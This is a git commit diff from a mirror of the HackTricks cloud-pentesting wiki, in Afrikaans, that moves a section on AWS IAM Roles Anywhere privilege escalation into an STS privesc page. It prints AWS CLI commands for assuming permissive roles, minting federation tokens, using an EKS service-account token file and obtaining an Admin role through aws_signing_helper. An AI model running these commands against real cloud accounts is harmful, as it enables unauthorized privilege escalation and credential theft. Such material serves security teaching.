mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,42 +0,0 @@
|
||||
# AWS - IAM Roles Anywhere Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
AWS IAM RolesAnywhere laat werklas buiten AWS toe om IAM rolle te aanvaar met behulp van X.509 sertifikate. Maar wanneer vertrouensbeleide nie behoorlik afgebaken is nie, kan dit misbruik word vir privilige-eskalasie.
|
||||
|
||||
Hierdie beleid ontbreek beperkings op watter vertrouensanker of sertifikaatattribuut toegelaat word. As gevolg hiervan kan enige sertifikaat wat aan enige vertrouensanker in die rekening gekoppel is, gebruik word om hierdie rol aan te neem.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "rolesanywhere.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole",
|
||||
"sts:SetSourceIdentity",
|
||||
"sts:TagSession"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
```
|
||||
Om privesc te verkry, is die `aws_signing_helper` benodig van https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
|
||||
|
||||
Dan kan die aanvaller met 'n geldige sertifikaat in die hoër bevoegdheid rol beweeg.
|
||||
```bash
|
||||
aws_signing_helper credential-process \
|
||||
--certificate readonly.pem \
|
||||
--private-key readonly.key \
|
||||
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
|
||||
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
### Verwysings
|
||||
|
||||
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Elke rol word geskep met 'n **rol vertrouensbeleid**, hierdie beleid dui aan **wie die geskepte rol kan aanvaar**. As 'n rol van die **dieselfde rekening** sê dat 'n rekening dit kan aanvaar, beteken dit dat die rekening toegang tot die rol sal hê (en moontlik **privesc**).
|
||||
|
||||
Byvoorbeeld, die volgende rol vertrouensbeleid dui aan dat enigiemand dit kan aanvaar, daarom **sal enige gebruiker in staat wees om privesc** na die toestemmings wat met daardie rol geassosieer is.
|
||||
Byvoorbeeld, die volgende rol vertrouensbeleid dui aan dat enigiemand dit kan aanvaar, daarom **sal enige gebruiker in staat wees om privesc** te kry tot die toestemmings wat met daardie rol geassosieer is.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -23,7 +23,7 @@ Byvoorbeeld, die volgende rol vertrouensbeleid dui aan dat enigiemand dit kan aa
|
||||
]
|
||||
}
|
||||
```
|
||||
Jy kan 'n rol naboots deur:
|
||||
Jy kan 'n rol naboots wat loop:
|
||||
```bash
|
||||
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
|
||||
```
|
||||
@@ -39,7 +39,7 @@ Met hierdie toestemming is dit moontlik om akrediteer te genereer om enige gebru
|
||||
```bash
|
||||
aws sts get-federation-token --name <username>
|
||||
```
|
||||
Dit is hoe hierdie toestemming veilig gegee kan word sonder om toegang te gee om ander gebruikers na te boots:
|
||||
Dit is hoe hierdie toestemming veilig gegee kan word sonder om toegang te gee om ander gebruikers na te volg:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -92,7 +92,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --
|
||||
|
||||
Hierdie toestemming gee toestemming om 'n stel tydelike sekuriteitsbewyse te verkry vir **gebruikers wat in 'n mobiele, webtoepassing, EKS...** geverifieer is met 'n webidentiteitsverskaffer. [Leer meer hier.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
|
||||
|
||||
Byvoorbeeld, as 'n **EKS-diensrekening** in staat moet wees om **'n IAM-rol na te volg**, sal dit 'n token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** hê en kan dit **die rol aanvaar en bewys verkry** deur iets soos:
|
||||
Byvoorbeeld, as 'n **EKS-diensrekening** in staat moet wees om **'n IAM-rol na te volg**, sal dit 'n token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** hê en kan dit **die rol aanvaar en bewese verkry** deur iets soos:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
# The role name can be found in the metadata of the configuration of the pod
|
||||
@@ -103,4 +103,43 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
|
||||
../aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### IAM Rolle Enigiemand Privesc
|
||||
|
||||
AWS IAM RolesAnywhere laat werklas buite AWS toe om IAM rolle aan te neem met behulp van X.509 sertifikate. Maar wanneer vertrouensbeleide nie behoorlik afgebaken is nie, kan dit misbruik word vir privilige-eskalasie.
|
||||
|
||||
Hierdie beleid ontbreek beperkings op watter vertrouensanker of sertifikaatattribuut toegelaat word. As gevolg hiervan kan enige sertifikaat wat aan enige vertrouensanker in die rekening gekoppel is, gebruik word om hierdie rol aan te neem.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "rolesanywhere.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole",
|
||||
"sts:SetSourceIdentity",
|
||||
"sts:TagSession"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
```
|
||||
Om privesc te verkry, is die `aws_signing_helper` benodig van https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
|
||||
|
||||
Dan kan die aanvaller, met 'n geldige sertifikaat, in die hoër bevoegdheid rol beweeg.
|
||||
```bash
|
||||
aws_signing_helper credential-process \
|
||||
--certificate readonly.pem \
|
||||
--private-key readonly.key \
|
||||
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
|
||||
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
### Verwysings
|
||||
|
||||
- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user